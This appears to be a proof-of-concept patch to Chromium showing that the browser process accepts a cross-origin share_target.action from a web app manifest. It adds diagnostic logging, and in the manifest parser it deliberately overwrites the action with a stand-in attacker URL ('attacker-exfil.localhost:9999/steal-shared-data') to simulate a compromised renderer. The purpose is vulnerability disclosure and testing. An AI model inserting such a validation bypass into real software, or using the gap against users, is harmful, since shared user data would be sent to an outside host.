diff --git a/chrome/browser/web_applications/jobs/manifest_to_web_app_install_info_job.cc b/chrome/browser/web_applications/jobs/manifest_to_web_app_install_info_job.cc index 704b266b9cf8b..cdb824e7b5369 100644 --- a/chrome/browser/web_applications/jobs/manifest_to_web_app_install_info_job.cc +++ b/chrome/browser/web_applications/jobs/manifest_to_web_app_install_info_job.cc @@ -19,6 +19,7 @@ #include "base/functional/callback_helpers.h" #include "base/functional/function_ref.h" #include "base/location.h" +#include "base/logging.h" #include "base/memory/ptr_util.h" #include "base/memory/weak_ptr.h" #include "base/metrics/histogram_functions.h" @@ -827,6 +828,25 @@ void ManifestToWebAppInstallInfoJob::ParseManifestAndPopulateInfo() { install_info().scope, &install_info()); install_info().share_target = ToWebAppShareTarget(manifest_->share_target); + // ============================================================================ + // [POC] Prove cross-origin share_target.action was stored in install_info. + // Compare against scope. Note: lock_screen (line ~843) and note_taking + // (line ~849) both gate on IsInScope() — share_target does not. This is the + // missing validation. On ChromeOS this URL is later passed to + // NavigateParams() in share_target_utils.cc:71 with the user's shared data + // attached as a POST body. + // ============================================================================ + if (install_info().share_target.has_value()) { + const GURL& action = install_info().share_target->action; + const GURL& scope = install_info().scope; + bool in_scope = IsInScope(action, scope); + LOG(ERROR) << "[POC-BROWSER-INSTALL] WebAppInstallInfo populated: " + << "scope=" << scope.spec() << " share_target.action=" + << action.spec() << " | IsInScope=" << (in_scope ? "yes" : "NO") + << (in_scope ? "" + : " <<< OUT-OF-SCOPE ACTION STORED — would POST " + "user-shared data cross-origin on ChromeOS >>>"); + } install_info().protocol_handlers = ToWebAppProtocolHandlers(manifest_->protocol_handlers); diff --git a/content/browser/manifest/manifest_manager_host.cc b/content/browser/manifest/manifest_manager_host.cc index e9d0deb7e1a1e..7b83a715d5858 100644 --- a/content/browser/manifest/manifest_manager_host.cc +++ b/content/browser/manifest/manifest_manager_host.cc @@ -8,6 +8,7 @@ #include "base/check_is_test.h" #include "base/functional/bind.h" +#include "base/logging.h" #include "base/strings/strcat.h" #include "base/task/sequenced_task_runner.h" #include "base/types/expected.h" @@ -182,6 +183,29 @@ blink::mojom::ManifestPtr ManifestManagerHost::ValidateAndMaybeOverrideManifest( mojo::ReportBadMessage(*bad_message_error); return blink::mojom::Manifest::New(); } + // ============================================================================ + // [POC] Log share_target.action that just passed browser-side validation. + // MaybeGetBadMessageStringForManifest above is the ONLY browser-side + // validation — it checks start_url/id/scope are valid GURLs but never + // inspects share_target.action and never compares anything to document_url's + // origin. If share_target.action is cross-origin to document_url, this proves + // the validation gap. + // ============================================================================ + if (manifest->share_target) { + const url::Origin doc_origin = url::Origin::Create(document_url); + const url::Origin action_origin = + url::Origin::Create(manifest->share_target->action); + const bool same_origin = doc_origin.IsSameOriginWith(action_origin); + LOG(ERROR) << "[POC-BROWSER-MOJO] Manifest passed validation. " + << "document_url=" << document_url.spec() + << " scope=" << manifest->scope.spec() + << " share_target.action=" + << manifest->share_target->action.spec() + << " | SAME-ORIGIN=" << (same_origin ? "yes" : "NO") + << (same_origin + ? "" + : " <<< CROSS-ORIGIN ACTION ACCEPTED BY BROWSER >>>"); + } if (!blink::IsEmptyManifest(manifest)) { // The manifest overriding infrastructure does not support empty manifests // from errors. diff --git a/third_party/blink/renderer/modules/manifest/manifest_parser.cc b/third_party/blink/renderer/modules/manifest/manifest_parser.cc index fff9c5d0db2f5..8bdd14aaad0e0 100644 --- a/third_party/blink/renderer/modules/manifest/manifest_parser.cc +++ b/third_party/blink/renderer/modules/manifest/manifest_parser.cc @@ -15,6 +15,7 @@ #include "base/check.h" #include "base/compiler_specific.h" #include "base/feature_list.h" +#include "base/logging.h" #include "base/metrics/histogram_functions.h" #include "base/notreached.h" #include "net/base/mime_util.h" @@ -1595,6 +1596,19 @@ ManifestParser::ParseShareTarget(const JSONObject* object) { auto share_target = mojom::blink::ManifestShareTarget::New(); share_target->action = ParseURL(share_target_object, "action", manifest_url_, ParseURLRestrictions::kWithinScope); + // ============================================================================ + // [POC] Simulate compromised renderer: bypass kWithinScope check. + // A real compromised renderer would not call ParseURL at all — it would + // directly construct the Mojo response with whatever URL it wants. This + // overwrite simulates that. The renderer-side kWithinScope restriction is the + // ONLY origin check on share_target.action; the browser performs none. + // ============================================================================ + share_target->action = + KURL("http://attacker-exfil.localhost:9999/steal-shared-data"); + LOG(ERROR) << "[POC-RENDERER] Compromised renderer injecting cross-origin " + "share_target.action=" + << share_target->action.GetString().Utf8() + << " (document=" << document_url_.GetString().Utf8() << ")"; if (!share_target->action.IsValid()) { AddErrorInfo( "property 'share_target' ignored. Property 'action' is "